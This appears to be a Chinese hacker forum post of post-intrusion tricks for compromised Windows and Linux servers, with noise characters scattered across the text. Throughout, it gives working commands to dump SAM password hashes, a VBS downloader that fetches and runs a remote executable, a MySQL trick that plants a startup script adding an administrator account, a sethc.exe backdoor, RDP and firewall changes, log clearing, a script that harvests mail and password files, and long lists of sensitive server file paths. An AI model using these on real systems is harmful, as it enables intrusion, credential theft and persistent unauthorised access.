* ~4 s# ~; h' A5 ?+ w* u& B————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
& l( o$ q& u4 o: a5 |注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
& Z- f8 l) k/ \( W  O" |若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
: e  `" {7 e9 s$ R$ D* c那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
. J* z2 h; A8 q# m& h# z6 k- K}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
. o* O# Z7 z5 V" S6 ~! b命令行RAR打包~~·
4 b/ \! Q$ B& g$ |/ a0 Krar a -k -r -s -m3 c:\1.rar c:\folder
8 b# y2 L+ ]' l& s——————————————
& I' @# @: N. t, S( {  V- V" A2、收集系统信息的脚本  
5 z" T- N( D  N8 [7 n" ~9 G1 V- G) xfor window：

* Z; e' N/ ^! G1 t# I% _+ O. {& O@echo off
" ?9 L6 x! n7 b7 C; aecho #########system info collection
, H% Q* m! F. c$ l+ X1 Fsysteminfo
ver
  m# T" N% s' g1 N, Bhostname
net user
net localgroup
net localgroup administrators
. l  i" Y4 {1 b; @- Qnet user guest
net user administrator

echo #######at- with   atq#####
4 `. `" r+ p& x$ Cecho schtask /query

echo
echo ####task-list#############
tasklist /svc
) Z, F5 A; r7 Z* xecho
0 p1 B/ i. E& j  t  I7 kecho ####net-work infomation
ipconfig/all
route print
/ o. r( O" }1 [. J3 xarp -a
) Y1 D2 ?7 P' C) P' P: w. a, Dnetstat -anipconfig /displaydns
echo
. P7 N' j: Y: P+ ?echo #######service############
8 t  M) P; n. E/ W! l, Lsc query type= service state= all
( K! R+ m0 G5 Z8 }8 gecho #######file-##############
cd \
tree -F
for linux：

#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
echo
: F; X& P# H- M2 V" u; B/ l. C# rrpm -qa 2>/dev/null
4 F4 E5 t6 S. b; C) ~+ B######stole the mail......######
, U5 |2 q: e3 M3 G- |cp -a /var/mail /tmp/getmail 2>/dev/null
! o- u4 U! M0 k. f3 P" i

: v: A/ }  {6 i  l) _9 decho 'u'r id is' `id`
echo ###atq&crontab#####
atq
8 B, z2 D( D+ F3 H# u7 W, V% p. J% bcrontab -l
7 H+ ^$ H/ m: d1 U5 f4 Xecho #####about var#####
set
# M2 Z: R% h$ P- T/ _* {
echo #####about network###
) X& K7 O5 x" C7 e1 X####this is then point in pentest,but i am a new bird,so u need to add some in it
4 U* j0 L0 z- f) f  ^cat /etc/hosts
1 x: g: H! F' F6 Q4 _hostname
ipconfig -a
arp -v
echo ########user####
7 m7 ~4 b- V3 \- U. A/ q/ m' Hcat /etc/passwd|grep -i sh
4 |& n7 _, g* l& U  k7 ^0 [
, B# L; G+ Q$ n7 xecho ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
$ k3 t/ E! ~0 ~; O1 L9 ?9 lcat /etc/passwd|grep -i $i
done
  d. n, F- B- L' h+ R6 i( ~6 K
: k; Z8 Z9 _( d: M  hlocate passwd >/tmp/password 2>/dev/null
1 j$ g9 a+ X- s$ y2 u  D1 msleep 5
5 K2 Z' y& S; }* ?; Q: \locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
* k) R1 b% D) M4 `
0 H2 R9 r  [+ d+ j' t4 X* M###maybe can use "tree /"###
% Z8 ?6 g4 F( t. A# \- `( pecho ##packing up#########
# a8 l+ c! V* s7 Q( Gtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
; `9 y. ~* G* T5 x. b, I" }rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
7 d5 e/ o6 T& I( \3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
# Y2 ~. ~' U1 s( t注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
( F  u# E) b, V: Phash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
& b# z0 Q* s4 ?5 g* g——————————————
! l4 l& w7 z. f: B% F6 w: a- r& J4、vbs 下载者
, Z( p  h" M# ^1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
3 ?- [! K1 j. @. V3 Q: e' mecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
5 x5 W; e1 s& Q* k" aecho sGet.Open() >>c:\windows\cftmon.vbs
4 {" q  X% e3 D. u3 \: l& Kecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
" g5 d6 l  f% k* a9 \8 g; c" X/ kecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
9 u; M3 b$ B6 {/ M6 becho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
- T) E: S4 C, l) D. o. @
4 v. c  s* J) G) \! L. _2
1 t4 J$ a% i! Q& ~On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
5 ?+ p3 Z1 ^) Ts1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
. P8 M9 I* y" k6 ZsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
( e' C- L% [. y% m——————————————————
5、
1.查询终端端口
9 c7 ]' `9 N9 ^! h2 _9 k; F- L) s* ?REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
$ s) m! R. f+ B* |REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  d# ^. N7 F3 }! T4 p+ u6 q3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
. |& a4 A# v: Q" k+ E5 {4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
1 [; ^; p; j# U————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
- j( d$ B* |7 L* [! [; i6 Winsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
( P$ h% r8 Q0 I# {5 k0 Hinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
2 Q' I, f; k( T5 ], Y- _: mselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
- @7 r) i( I4 e6 a# v————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
4 R/ [, E" c* U1 \' |# s4 d8、for /d %i in (d:\freehost\*) do @echo %i
4 y: z  N2 v" B7 H/ V
) E. Y9 Y, d" w- {: d列出d的所有目录
+ n. i! T8 B, H  
( o* f; p$ `8 [7 A  for /d %i in (???) do @echo %i
  d5 p" [2 ?2 o6 Y+ v
8 A8 h$ V5 z  }- h4 p7 d2 {把当前路径下文件夹的名字只有1-3个字母的打出来
+ g  s4 m0 F1 \
2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
: @1 b( w" _2 J. _3 _5 Z
8 l% u& ^+ v: ^6 G0 `/ ffor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
$ |# n9 b3 r# e# Z1 S4 _! y  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
  }6 D/ h4 \7 K% s
' B3 X% z, A- u+ F$ \1 p$ s0 S6 j5 t  delims=后的空格是分隔符 tokens是取第几个位置
——————————
- D- [! l' m3 ~' F- J1 C●注册表:
6 O. H! Q& N0 j! i  c1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
+ Z$ S* y* B/ x, g. ]  D" I) s! G: J, T
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
7 x! f1 D- J" p% S2 [
4.Radmin密码:
8 i$ N! e1 `3 c& Ureg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
) m+ f" q( N/ u2 @# B" b& Hreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
: e4 |1 e0 W1 }8 [4 V! r8 n# \6 V
( Q5 {; _$ ?& j0 R: L3 N- `7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
. ?' r- ^+ F& I& M% C- m
8.系统口令恢复LM加密:
/ K: H1 d- ?- z8 ]reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

3 I9 I" V" B5 A6 ], }/ w7 s9.另类方法抓系统密码HASH
* z1 |6 m' b. ~* Oreg save hklm\sam c:\sam.hive
! {4 f0 i9 a8 L8 @, e% Qreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

2 Z; u" ?/ X( b) d+ l* E+ M% e10.shift映像劫持
% ?# C4 O2 E4 M+ A. Nreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

0 V4 E& s# A  [* w# Y. `4 N# O5 \reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
% m! H) n  f# X, e; aSet ObjService=GetObject("IIS://LocalHost/W3SVC")
+ O: C- v# R3 _! B# }; [For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
" a, B$ i' K+ n! D8 oif IsNumeric(childObjectName)=true then
1 @5 G+ `& Y( n- X6 R* L7 M0 Qset IIs=objservice.GetObject("IIsWebServer",childObjectName)
7 b1 \4 c. Y( A4 N; yif err.number<>0 then
' i* G2 V1 Q+ o; `. Xexit for
+ [! H$ L4 z/ h/ N# V* pmsgbox("error!")
1 P2 ~8 Y" w/ J+ Iwscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
1 Y! f5 }5 \% ?% `: i0 g" Gset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
4 q; b8 Y3 Q: |6 slist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
5 ~8 W& [$ Q% ~7 a2 hNext
+ }6 R3 t, Y7 Ywscript.echo list
Set ObjService=Nothing
# C  n$ X! B" X# Q: ^wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
& h; _* y  d; R- D, D; _复制代码
. R5 P7 x  m' I2 x----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
5 i1 w; j. e0 T. [# Y3 e2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
, L& S1 k9 Y3 Y, W</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
5 `4 A3 v/ s- a. r, }PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
5 ^: b3 k; b8 C4 _ 原因是ASP大马里有这样的代码：（没有就没事儿了）
; x5 a6 v% _" K url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
/ T, ~) K; m6 v3 j& `& K2 c path_info可以直接呈现虚拟路径 顺利解析gif大马
% R" }3 p2 }3 u0 `0 d
+ k- h( Y- d% _" P==============================================================
3 o+ A- p, ?: P* H' R6 }; w* gLINUX常见路径：
8 d' _* Y2 s# U% w8 Z. A
' A+ u5 N4 O( Z- T/etc/passwd
9 V5 c/ J6 T7 R/etc/shadow
) l' W& a* ^% `2 e9 \/etc/fstab
/etc/host.conf
/etc/motd
, A5 L" b" k2 d3 l5 C4 }/etc/ld.so.conf
& v# [( H+ e5 g9 Q& i1 g/var/www/htdocs/index.php
# {) W3 C& F5 a- v8 O/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/ f8 _% j# {+ F$ {7 D5 ?2 t. D/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
6 u- h& L& s# s$ }, i6 W: V/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
: A( E( z0 I2 B% g( Y/ ?/usr/local/apache/htdocs/index.html
# b2 O, H" g7 |  \/usr/local/apache/htdocs/index.php
1 Y2 [0 m9 j- E5 k/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
3 Z: ?6 D5 u$ _/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
  i* Z+ z- k( B3 U* D/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
( \6 \- O: y" T& x7 H/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
8 ^5 \- C' d; X, O! B; c/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
- G6 [- ?( D" n; R" V/apache/apache2/conf/httpd.conf
. O2 ^0 D, N4 d8 a/etc/apache/apache.conf
/etc/apache2/apache.conf
5 Z4 ]' v0 {" B# K  ]9 o/etc/apache/httpd.conf
/etc/apache2/httpd.conf
! h0 J1 C% x: Y8 r/etc/apache2/vhosts.d/00_default_vhost.conf
, r& E8 O, I  V3 D* X3 ?/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
0 i7 Y$ G. T# }, T& }/ x% ~/etc/mysql/my.cnf
. L: f: a- }) N" @& _/etc/httpd/conf.d/php.conf
7 P+ n8 B& n, p0 @0 L/etc/httpd/conf.d/httpd.conf
: [& w4 T- l7 m# N5 Z6 P/etc/httpd/logs/error_log
4 N4 u) R& j0 J; E9 ]0 W: `/etc/httpd/logs/error.log
8 B: B2 g: v* P6 l4 L, _* W/etc/httpd/logs/access_log
! s9 A9 m5 [8 o; d) o0 F/etc/httpd/logs/access.log
, H& t2 @9 s! z- ~" f/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
+ [, l9 j9 @' F6 s) ]  e. T5 Z6 t3 T2 J/var/log/apache/error.log
/ u1 X3 ~3 d2 A/var/log/apache/access_log
, m' o! O7 I7 |* [9 }/var/log/apache/access.log
$ I" }( k( t9 K/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/ V9 d" X* a; K/var/log/apache2/access.log
- ?" z- j: J/ S1 Q7 g6 z/var/www/logs/error_log
$ ^# M/ T/ y( k/ v$ }# Y* G. N/var/www/logs/error.log
/var/www/logs/access_log
5 Q* r* g9 ~' j$ S5 [* ?: ?/var/www/logs/access.log
/usr/local/apache/logs/error_log
% M: r9 o4 l; @& A- [; a/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
* W( ?8 a& ^. \* {+ w' s+ M/usr/local/apache/logs/access.log
/var/log/error_log
0 t% Q6 \4 O# m" [9 X4 O+ z/ v8 F/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
( m' q8 I9 S2 h3 r- {/usr/lib/php.ini
& J( i  i. m* m( G7 u" g/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
% B* _0 p6 ~. b/usr/local/php/lib/php.ini
$ k5 Z" [& D; I% s/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
8 I. @3 }+ D6 {5 ~/usr/local/php4/lib/php.ini
: q, Z$ Z/ l6 C, [; k/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
" r1 k/ i7 h, [! L3 a2 L- K. l/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
2 H/ E. n. R5 q+ ~: y/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
  y  J+ _! o) C- M5 z/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
% L& G; k4 A: q2 ^3 U2 Q/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
$ j8 c# f! V/ j; B8 c; y/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
) q4 e- S/ a- ~% O# Y/php5/php.ini
/php4/php.ini
9 J) t& i4 U2 a7 Y8 i& W; g/php/php.ini
/PHP/php.ini
/apache/php/php.ini
1 c: R- A" \5 x+ r- I/xampp/apache/bin/php.ini
7 E4 |, H- [+ n- F  v0 f: B* K/xampp/apache/conf/httpd.conf
4 y' I  v1 _- s9 N5 a% o/NetServer/bin/stable/apache/php.ini
9 W4 j) w4 L4 ^9 s2 f& |: m7 o% e/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
: q/ v1 x4 m: z; u& o+ c8 V/var/log/mysql.log
/var/log/mysqlderror.log
; D0 S# v# J4 j& A" N  M! Y/var/log/mysql/mysql.log
- Y7 ^9 Z; y# o: I( U7 i  [/var/log/mysql/mysql-slow.log
' ]( B; m9 o: U7 o/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/ d; ?4 X; a9 ]% Q) w( A8 p" |/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
( E5 N6 Z, n# O. M& ~  `- L# B/usr/local/cpanel/logs/stats_log
/ Z! E) q- T0 X$ A$ Q/usr/local/cpanel/logs/access_log
. Z, P, w/ s  j% H  E4 ]/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
$ Z* A+ y* x" `& J5 q
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

% e5 k; q4 o; D& yc:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt

' w5 l, V$ E) E1 H6 Uc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
8 f4 Q2 j- v9 M" `: s8 T" o' o% tc:\program files\CMailServer\WebMail\index.asp
) s* _2 S! H* u: |- J1 S  BC:\WinWebMail\SysInfo.ini
; p7 o8 i$ J8 j. x4 sC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
$ _3 E' ?. h% g7 J/ q0 @* FC:\WINDOWS\7i24tool.exe

+ R, S4 j& d( V4 T* C  W5 r2 Ec:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
! R9 a& f! b' ]: K6 r& |: qC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
! }; S' C' G: j/ O- L
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
7 Z  T+ |7 }9 o. \; Pc:\WWWROOT\index.html
c:\website\index.html
$ k, }* s- M9 ~$ @c:\web\index.asp
c:\www\index.asp
- y5 H, {% I9 |' w- \c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
* T1 d- o  X. S; l( M( \( |c:\www\index.php
1 j$ d# z4 R) w9 Jc:\WWWROOT\index.php
c:\WWWsite\index.php
3 h0 _; X5 U: i9 F. Rc:\web\default.html
c:\www\default.html
, i! v3 |- {$ E4 Q' M! Uc:\WWWROOT\default.html
) {. w2 ^  s9 Q; I2 n( bc:\website\default.html
c:\web\default.asp
c:\www\default.asp
/ h' O! }" I4 O( Y( U8 uc:\wwwsite\default.asp
9 [5 X1 \/ x- Nc:\WWWROOT\default.asp
" V) s. P6 G8 _c:\web\default.php
' X5 a3 w8 J3 D+ v7 qc:\www\default.php
9 V% l4 E; f2 t$ Z2 qc:\WWWROOT\default.php
% g3 m# T  q9 x5 T1 X- G  m% N4 kc:\WWWsite\default.php
, r( C, @+ B0 m. u/ \* ?9 xC:\Inetpub\wwwroot\pagerror.gif
7 G6 z9 x/ K. I$ n! E2 V: qc:\windows\notepad.exe
c:\winnt\notepad.exe
) \5 ~2 _  L1 rC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
# Q8 e. O- N' J* k9 a7 P$ MC:\Program Files\Microsoft Office\OFFICE12\winword.exe
5 V; Y1 d9 O6 ^. ~; }: Q/ XC:\Program Files\Internet Explorer\IEXPLORE.EXE
6 e( u, ~7 \2 E3 M( VC:\Program Files\winrar\rar.exe
4 l6 p3 O0 M9 Y2 S6 uC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
4 \- F! Z4 w) [: O2 c2 ~c:\rising.ini
# ]/ z3 B1 r; W" F8 U: ZC:\Program Files\Rising\Rav\RsTask.xml
3 {; A  z# d  |0 pC:\Documents and Settings\All Users\Start Menu\desktop.ini
" Q2 F7 {$ X" g* q( m5 l( eC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
7 b% S- Q# a# A/ l9 SC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
1 s* ^' h9 m/ n% V! M; F8 Z9 qE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
1 H; Q% V' n7 ^) T+ {$ _2 u) {C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
/ P: w9 k- W, U+ m1 Q& \0 {C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
; y5 S3 N/ \: n0 n$ M2 B  _C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
% r0 d5 H0 X0 X( W0 R4 _C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
0 l; I# C8 k1 x, T7 w2 k& {9 R2 z/ uC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
& S& W" b# U8 _5 GC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
9 a3 M8 b, u7 C( k3 M. OC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
9 D0 o1 J, n) xC:\MySQL\MySQL Server 5.0\my.ini
& X5 Y. D8 K4 F3 \$ tC:\Program Files\MySQL\MySQL Server 5.0\my.ini
/ D1 ]5 f8 Q+ L$ a  }C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
/ G, `5 {6 Z4 q7 vC:\Program Files\MySQL\MySQL Server 5.0\COPYING
; k& F) t6 \1 z4 D1 g; l+ `( y4 MC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
5 O' p' _0 G3 z& BC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
$ {8 g- R" K# K/ c: G7 Tc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
+ r9 e  u, J7 h/ kC:\Program Files\Oracle\oraconfig\Lpk.dll
% l  {. u, e' hC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
1 f) Q# x8 {" D7 J0 ZC:\WINDOWS\system32\inetsrv\inetinfo.exe
2 c% N# d7 h/ J7 M( z9 f" |C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
& @5 L6 F3 P1 z$ b4 p) r& ZC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
* |, i* {4 k, n" r6 p3 |8 GC:\WINDOWS\system32\config\system
# W+ ]  o' l, G. r# ec:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
6 t  ~# X9 a2 j6 R5 ic:\tomcat\bin\version.sh
( P& }, d" S. F5 Xc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
$ B) s, w& f/ Z6 ~0 i2 sc:\Apache2\Apache2\bin\Apache.exe
! E1 H& c& K* ?" J/ a: x4 Zc:\Apache2\bin\Apache.exe
( W  ^( G6 O. f, K8 F& `& `' Rc:\Apache2\php\license.txt
' W! M: E1 F& m( ?/ y. [, c4 `/ CC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
5 b3 }. |/ l0 E/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
) `/ \8 K, P- F1 {$ l1 {6 z4 |c:\Program Files\QQ2007\qq.exe
/ W: U) x) S) `- ~% [/ bc:\Program Files\Tencent\qq\User.db
/ ?. y1 }* g( a+ C3 ~8 Dc:\Program Files\Tencent\qq\qq.exe
/ A* n  ~9 y, B- Mc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
6 |/ p" M/ v* ], n  r, z8 }% Z+ xc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
7 x1 N" E* w/ j+ Zc:\Program Files\Tencent\qq\Users\All Users\Registry.db
9 r7 V6 o8 \$ ]/ }3 p! eC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
